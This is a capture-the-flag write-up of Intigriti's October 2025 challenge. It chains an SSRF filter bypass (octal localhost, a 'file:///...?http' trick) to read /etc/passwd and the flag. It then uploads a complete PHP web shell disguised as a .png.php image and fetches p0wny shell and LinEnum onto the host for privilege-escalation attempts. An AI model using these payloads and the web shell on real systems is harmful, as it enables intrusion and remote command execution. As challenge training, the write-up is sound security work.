Intigriti's monthly challenge 1025: From SSRF via too simple blacklist filter to RCE and my post examination
Intigriti’s October 2025 challenge, what do we have here?
A fairly quickly solved challenge. But also a feeling of incompleteness which enabled me to learn more than I had planned.
First things first. We are starting at the beginning.
The page shows the content of given image url, in the challenge mode the plain content, not really the image.
Of course, you first try what happens when it is not an image URL, but any other destination. Its content is displayed.
What happens while protocol switch, e.g. usage of FTP?
https://challenge-1025.intigriti.io/challenge.php?url=ftp://challenge-1025.intigriti.io
We get back Invalid URL: must include 'http'
At now we know the PHP file /challenge.php
is loading any given page, given by query parameter url, but it must be a HTTP url, no other protocols.
Is this is a nice SSRF vulnerability? Not yet.
I tried Apache /server-status
without hesitation, but access to localhost is refused, at first glance.
https://challenge-1025.intigriti.io/challenge.php?url=http://127.0.0.1:8080/server-status
is getting Invalid URL: access to localhost is not allowed
Remember that with a little luck, many simple filters can be bypassed.
The destinations localhost
and 127.0.0.1
can also be specified differently.
Inspired by Hacktricks url-format-bypass we are using the octal representation of localhost
IP
https://challenge-1025.intigriti.io/challenge.php?url=http://0177.0000.0000.0001:8080/server-status
And this access works :-)
If many researchers were now working on the system at the same time, I would only have to watch what they were trying to do.
Sit back, grab some popcorn and wait?
But of course, I was alone and that’s not what the challenge is about.
Iterating over all local ports shows only port 80
and 8080
are open on localhost.
Tried wordlists in Burp to find known directories or files on webserver, trying something more and different,
…. found nothing.
Searched for possible services running on host and got some response for Google Cloud environment
https://challenge-1025.intigriti.io/challenge.php?url=http://169.254.169.254/computeMetadata/
But cannot inject the required header Metadata-Flavor: Google
to go further on /computeMetadata/v1/.....
A dead end and not the required RCE.
Took a short break and got it! Where there’s smoke, there’s fire.
There was that error message when the port wasn’t open.
https://challenge-1025.intigriti.io/challenge.php?url=http://0177.0000.0000.0001:1234
gets back cURL Error: Failed to connect to 127.0.0.1 port 1234 after 0 ms: Could not connect to server
Ahhhhh! Where cURL is used, other protocols such as gopher://
, file://
, etc. are not far behind.
BUT we must use http
protocol. Do we really have?
Remember the first error response! Invalid URL: must include 'http'
must include
- Is that what I think it is? What about http somewhere in url?
The PHP file is checking the existence of “protocol”, but at any place.
YEAH!!!! it WORKS , we pass the http
as query parameter😊
https://challenge-1025.intigriti.io/challenge.php?url=file:///etc/passwd?http
and for root /
directory https://challenge-1025.intigriti.io/challenge.php?url=file:///?http
First we are getting the flag via https://challenge-1025.intigriti.io/challenge.php?url=file:////flag.txt?http
–> INTIGRITI{ngks896sdjvsjnv6383utbgn}
That was only half the battle, no RCE yet. Challenge not done.
Checking all other directories, especially everything around the website
https://challenge-1025.intigriti.io/challenge.php?url=file:///var/www/html/?http
and the challenge folder contains an upload PHP file:
https://challenge-1025.intigriti.io/challenge.php?url=file:///var/www/html/upload_shoppix_images.php?http
A valid upload is stored in /var/www/html/uploads/
But what is “valid”?
The mime type has to be any image/***
The file name check checks that it contains .png
/ .jpg
or .jpeg
, but not as suffix.
Ohh, someone else was already here?
There are already two files uploaded with a PHP RCE
hehe2.png.php
hehe.png.php
Enter any OS command you want in input form of https://challenge-1025.intigriti.io/uploads/hehe2.png.php
RCE done, but not my own. This is NOT the challenge goal! ;-)
For the sake of completeness, I will now upload my own PHP file with that upload script
https://challenge-1025.intigriti.io/upload_shoppix_images.php
Ohhh….. come on!!! Direct access to the upload PHP file is not permitted.
Searching the apache2 config and found that special header is required to get access for upload script
https://challenge-1025.intigriti.io/challenge.php?url=file:///etc/apache2/sites-available/000-default.conf?http
<Files "upload_shoppix_images.php">
<If "%{HTTP:is-shoppix-admin} != 'true'">
Require all denied
</If>
Require all granted
</Files>
Ok, you get your header Is-Shoppix-Admin: true
HTTP GET is working now:
curl --path-as-is -i -s -k -X 'GET' -H 'Host: challenge-1025.intigriti.io' -H 'Is-Shoppix-Admin: true' 'https://challenge-1025.intigriti.io/upload_shoppix_images.php'
Finally posting a PHP script, I’m lazy and use the same script already found on server, added with my signature.
curl --path-as-is -i -s -k -X 'POST' -H 'Host: challenge-1025.intigriti.io' -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNFdl75DZA9ssdXCu' -H 'Is-Shoppix-Admin: true' --data-binary $'------WebKitFormBoundaryNFdl75DZA9ssdXCu\x0d\x0aContent-Disposition: form-data; name="image"; filename="psytesters_rce.png.php"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0aGIF89a;\x0d\x0a<?php\x0d\x0a// interactive and user-friendly \x0d\x0a\x0d\x0a// Define a custom function to execute commands\x0d\x0afunction execute_command($cmd) {\x0d\x0a // Use proc_open to execute the command\x0d\x0a $descriptors = [\x0d\x0a 0 => [\'pipe\', \'r\'], // stdin\x0d\x0a 1 => [\'pipe\', \'w\'], // stdout\x0d\x0a 2 => [\'pipe\', \'w\'] // stderr\x0d\x0a ];\x0d\x0a\x0d\x0a $process = proc_open($cmd, $descriptors, $pipes);\x0d\x0a\x0d\x0a if (is_resource($process)) {\x0d\x0a // Read the output and errors\x0d\x0a $output = stream_get_contents($pipes[1]);\x0d\x0a $errors = stream_get_contents($pipes[2]);\x0d\x0a\x0d\x0a // Close the pipes\x0d\x0a fclose($pipes[0]);\x0d\x0a fclose($pipes[1]);\x0d\x0a fclose($pipes[2]);\x0d\x0a\x0d\x0a // Close the process\x0d\x0a proc_close($process);\x0d\x0a\x0d\x0a // Prepare the output for HTML display\x0d\x0a $output = htmlspecialchars($output, ENT_QUOTES, \'UTF-8\');\x0d\x0a $errors = htmlspecialchars($errors, ENT_QUOTES, \'UTF-8\');\x0d\x0a\x0d\x0a // Output the result in a user-friendly manner\x0d\x0a echo \'<pre>\';\x0d\x0a echo \'<strong>Command:</strong> \' . $cmd . \"\\n\\n\";\x0d\x0a echo \'<strong>Output:</strong>\' . \"\\n\" . $output . \"\\n\";\x0d\x0a echo \'<strong>Errors:</strong>\' . \"\\n\" . $errors . \"\\n\";\x0d\x0a echo \'</pre>\';\x0d\x0a }\x0d\x0a}\x0d\x0a\x0d\x0a// Check if a command is submitted\x0d\x0aif (isset($_POST[\'command\'])) {\x0d\x0a // Get the command from the form submission and execute it\x0d\x0a $command = $_POST[\'command\'];\x0d\x0a execute_command($command);\x0d\x0a}\x0d\x0a?>\x0d\x0a\x0d\x0a<!DOCTYPE html>\x0d\x0a<html>\x0d\x0a<head>\x0d\x0a <title>W3bSh3ll by d4rkiZ</title>\x0d\x0a</head>\x0d\x0a<body>\x0d\x0a <h1>W3bSh3ll by d4rkiZ</h1>\x0d\x0a psytester was here and it\'s a copy & paste file only\x0d\x0a <form method="POST" action="">\x0d\x0a <input type="text" name="command" placeholder="Enter your command">\x0d\x0a <button type="submit">Send</button>\x0d\x0a </form>\x0d\x0a</body>\x0d\x0a</html>\x0d\x0a------WebKitFormBoundaryNFdl75DZA9ssdXCu--\x0d\x0a' 'https://challenge-1025.intigriti.io/upload_shoppix_images.php'
PHP script uploaded. To execute commands, you can enter any OS command you want in input form of https://challenge-1025.intigriti.io/uploads/psytesters_rce.png.php
It was fun and I like this statement as a closing comment, seen at a watchtowr labs article.
They have exactly my sense of humor: “It’s Never Simple Until It Is.”
I submited my solution, it was accepted. The severity was set from Exceptional
to Medium
Challenge solved, the flag can be read as apache www-data
user and no escalation to root is required:
- got the flag ✅
- remote code execution done ✅
Nevertheless, I got a feeling of incompleteness which enabled me to learn more than I had planned, but this is not part of the challenge goal. Only my own improvement.
My personal journey continued after the challenge was already over.
The uploaded php file is ok for single command execution, but a reverse shell is better.
Since I don’t have a system on hand open reachable from public, I need some webpage based shell.
https://github.com/nicholasaleks/webshells/tree/master/php/
https://phpshells.net/
https://webshell.org/
I used p0wny shell
from webshell.org
Since the magic bytes trick with GIF89a;
breaks the webshell response handling, we have to upload the plain file.
curl --output ps.php 'https://webshell.org/p0wny-shell.txt'
Running my shell https://challenge-1025.intigriti.io/uploads/ps.php
starts the post examination.
Downloading LinEnum
script from https://github.com/rebootuser/LinEnum to get system details and detect possible attack vectors.
curl -L --output /tmp/LinEnum.sh 'https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh'
chmod +w /tmp/LinEnum.sh
./tmp/LinEnum.sh
- nothing found ✅
Tried to start an own apache2 instance with modified configuration, especially the User root
Copy whole /etc/apache2 to /tmp and modifiy the content
- Editors like
vi
/vim
/nano
are not present on the system, sosed
is our friend ✅
apachectl -k start -f /tmp/apache2/apache2.conf
Apache does not start as root and it needs to be compiled with -DBIG_SECURITY_HOLE
- Downloading apache sources ✅
- Fixing missing apr lib by dropping into srclibs ✅
- Fixing missing prce lib by dropping into srclibs ✅
- Fixing missing extpat by locally compiling ✅
- We need to follow the redirects while downloading the sources with
curl -L ....
✅ - Fixing missing shared modules by compiling static ✅
- apache
make install
did not work with my minimal setup ❌ - apache binary in source code directory is running on my own port ✅
At the end I could start my own apache instance, but of course is was running as www-data and not as root.
- compiling apache with creation of suexec binary ✅
Did not help.
For sure, I couldn’t escalate to root with this simple experiment. However, I have consolidated my skills in building binaries.
Now I’m finished with the challenge and the challenge with me.
Disclaimer
The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.
The contents of this advisory are copyright (c) 2025 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.